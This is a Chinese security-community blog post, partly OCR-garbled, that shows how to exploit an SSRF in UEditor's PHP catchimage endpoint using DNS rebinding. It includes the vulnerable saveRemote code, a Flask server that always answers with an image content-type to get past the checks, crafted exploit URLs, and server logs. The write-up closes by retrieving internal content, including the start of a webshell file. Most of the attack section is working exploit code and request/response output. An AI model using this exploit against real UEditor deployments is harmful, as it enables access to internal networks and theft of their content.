现在都没人收Ueditor的洞了么?都只能赚稿费...

```
代码分析
一般请求的url如下,其中source为数组,值为图片地址:
主要跟踪这段代码:/php/Uploader.class.php:173
private function saveRemote()
  $imgUrl = htmlspecialchars($this->fileField);
  $imgUrl = str_replace("&", "&", $imgUrl);
  //http
  if (strpos($imgUrl, "http") !== 0) {
     $this->stateInfo = $this->getStateInfo("ERROR_HTTP_LINK");
     return;
  }
  preg_match('/(^https*:\/\/[^:\/]+)/', $imgUrl, $matches);
  $host_with_protocol = count($matches) > 1 ? $matches[1] : '';
  // |||||||||| url
  if (!filter_var($host_with_protocol, FILTER_VALIDATE_URL)) {
     $this->stateInfo = $this->getStateInfo("INVALID_URL");
     return;
  }
  preg_match('/^https*:\/\/(.+)/', $host_with_protocol, $matches);
  $host_without_protocol = count($matches) > 1 ? $matches[1] : '';
  // WELLESS ip WELLESS ip
  $ip = gethostbyname($host_without_protocol);
  // ||||||||| ip
  if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)) {
     $this->stateInfo = $this->getStateInfo("INVALID_IP");
     return;
  }
  $heads = get_headers($imgUrl, 1);
  if (!(stristr(\theta_0, "200") && stristr(\theta_0, "OK"))) {
     $this->stateInfo = $this->getStateInfo("ERROR_DEAD_LINK");
     return;
  //■■■■(■■■■■Content-Type■■)
  $fileType = strtolower(strrchr($imgUrl, '.'));
  $this->stateInfo = $this->getStateInfo("ERROR_HTTP_CONTENTTYPE");
     return;
  }
```

//

```
ob_start();
$context = stream_context_create(
    array('http' => array(
        'follow_location' => false // don't follow redirects
    ))
);
readfile($imgUrl, false, $context);
$img = ob_get_contents();
```

```
ob_end_clean();
```

整个流程大概如下:

- 1、判断是否是合法http的url地址
- 2、利用gethostbyname来解析判断是否是内网IP
- 3、利用get_headers进行http请求,来判断请求的图片资源是否正确,比如状态码为200、响应content-type是否为image (SSRF漏洞触发处)
- 4、最终用readfile来进行最后的资源获取,来获取图片内容

所以在利用DNS重绑定时候,我们可以这样做

第一次请求 -> 外网ip

第二次请求 -> 内网ip 第三次请求 -> 内网ip

1.4.3.3 DNS重绑定利用过程

其实单纯的第二次就已经有了HTTP请求,所以可以很容易的进行一些攻击.

lemon.i/code-src/editor/ueditor/php/controller.php?action=catchimage&source[]=http://my.ip/?aaa=1%26logo.png

其中my.ip设置了重绑定

第一次dns请求是调用了gethostbyname函数 -> 外网ip

第二次dns请求是调用了get_headers函数 -> 内网ip

```
Sudo python -m SimpleHTTPServer 80

Password:
Serving HTTP on 0.0.0.0 port 80 ...
10.211.55.3 - - [28/0ct/2018 01:11:45] "GET /logo.png HTTP/1.0" 200 - 10.211.55.3 - - [28/0ct/2018 01:11:56] "GET /?aaa=1 HTTP/1.0" 200 - 10.211.55.3 - - [28/0ct/2018 01:12:05] "GET /?aaa=1&logo.png HTTP/1.0" 200 - 10.211.55.3 - - [28/0ct/2018 01:12:31] "GET /?aaa=1 HTTP/1.0" 200 -
```

其中返回内容state为■■contentType■■■ ,表示请求成功了!

如果返回为■■ IP则表示DNS重绑定时候第一次是为内网IP,这时需要调整一下绑定顺序.

但是会剩一个问题就是: 能不能获取到SSRF请求后的回显内容!

第三个请求便可以做到,因为会将请求的内容保存为图片,我们获取图片内容即可.

但是得先把第二次请求限制绕过

```
!(stristr($heads[0], "200") && stristr($heads[0], "OK"))
!in_array($fileType, $this->config['allowFiles']) || !isset($heads['Content-Type']) || !stristr($heads['Content-Type'], "image")
```

这两个条件语句也就是限定了请求得需要为200状态、并且响应头的content-type是image 所以第二次请求最好是我们可控的服务器,这样才能绕过它的限制.

```
BORNS -> Beip
```

-> Maip (Maserver)
-> Maip (Maserver)

第二次请求的外网server需要定制一下,也就任何请求都返回200,并且content-type为image

```
from flask import Flask, Response
from werkzeug.routing import BaseConverter

class Regex_url(BaseConverter):
    def __init__(self,url_map,*args):
        super(Regex_url,self).__init__(url_map)
        self.regex = args[0]

app = Flask(__name__)
app.url_map.converters['re'] = Regex_url
```

```
#image = file("demo.jpg")
  resp = Response(image, mimetype="image/jpeg")
  return resp
if __name__ == '__main_
  app.run(host='0.0.0.0',port=80)
  -$ curl -vv http://127.0.0.1/aa.php\?asdasdjqh1\=3adsasd
    Trying 127.0.0.1...
  TCP_NODELAY set
  Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)
  GET /aa.php?asdasdjqh1=3adsasd HTTP/1.1
> Host: 127.0.0.1
  User-Agent: curl/7.54.0
 Accept: */*
* HTTP 1.0. assume close after body
HTTP/1.0 200 OK
Content-Type: image/jpeg
< Content-Length: 4
< Server: Werkzeug/0.11.9 Python/2.7.12</p>
< Date: Sun, 28 Oct 2018 10:26:55 GMT
* Closing connection 0
Test<mark>%</mark>
 -13m0n@13m0ndeMacBook-Pro ~/Desktop/src
  -13m0n@13m0ndeMacBook-Pro
$ sudo python ssrf_server.py
 * Running on http://0.0.0.0:80/ (Press CTRL+C to quit)
127.0.0.1 - - [28/Oct/2018 18:25:56] "GET /aa.php?asdasdjqh1=3adsasd HTTP/1.1" 200
127.0.0.1 - - [28/Oct/2018 18:26:55] "GET /aa.php?asdasdjqh1=3adsasd HTTP/1.1" 200
```

上面的都是一些理论的说明,事实上,有些DNS会存在缓存问题,导致出现出现结果很不稳定。

第一步: 搭建后外网的server, 左边的为第二次请求(外网), 右边为第三次请求(内网)

```
[root@118 tools]# python3 ssrf_server.py

* Serving Flask app "ssrf_server" (lazy loading)

* Environment: production
WARTING: Do not use the development server in a production environment.
Use a production WSGI server instead.

* Debug mode: off

* Running on http://0.0.0.088/ (Press CIRL+C to quit)
111 1 7 8.80 - - [29/Oct/2018 00:16:00] "GET /webshell.php?a=1&demo.png HTTP/1.0" 200 -
```

```
第二步: 进行请求, 其中网址是有dns重绑定
```

@app.route('/<re(".*?"):tmp>')

def test(tmp):
 image = 'Test'

```
GET
//ueditor/ueditor/php/controller.php?action=catchimage&source[]=http://.4
/* d.wln.pw/webshell.php?a=1%26demo.png HTTP/1.1
Host: love.lemon
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/ap
ng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ja;q=0.6
Cookie: mediawiki_1_31_mdUserName=Lemonabcd
Connection: close
```

```
HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Sun, 28 Oct 2018 16:15:59 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 447
Connection: close
X.-Powered-By: PHP/5.5.9-lubuntu4.25
Vary: Accept-Encoding

<br/>
<br/
```

```
curl -vv http://love.lemon:82//ueditor//php//upload//image//20181029//1540743359441649.png<mark>[54/</mark>
    Trying 10.211.55.4...
 TCP_NODELAY set
* Connected to love.lemon (10.211.55.4) port 82 (#0)
> GET //ueditor//php//upload//image//20181029//1540743359441649.png HTTP/1.1
> Host: love.lemon:82
> User-Agent: curl/7.54.0
> Accept: */*
< HTTP/1.1 200 OK
< Server: nginx/1.4.6 (Ubuntu)
< Date: Sun, 28 Oct 2018 16:18:43 GMT
< Content-Type: image/png
< Content-Length: 1775
< Last-Modified: Sun, 28 Oct 2018 16:15:59 GMT
< Connection: keep-alive
< ETag: "5bd5e0bf-6ef"
< Accept-Ranges: bytes
<?php
error_reporting(0);
ignore_user_abort(true);
set_time_limit(0);
```

点击收藏 | 1 关注 | 1

上一篇:通过RDP隧道绕过企业网络限制策略... 下一篇:深入分析恶意软件 Emotet 的...

1. 0 条回复

• 动动手指,沙发就是你的了!

登录后跟帖

先知社区

现在登录

热门节点

技术文章

<u>社区小黑板</u>

目录

RSS <u>关于社区</u> <u>友情链接</u> <u>社区小黑板</u>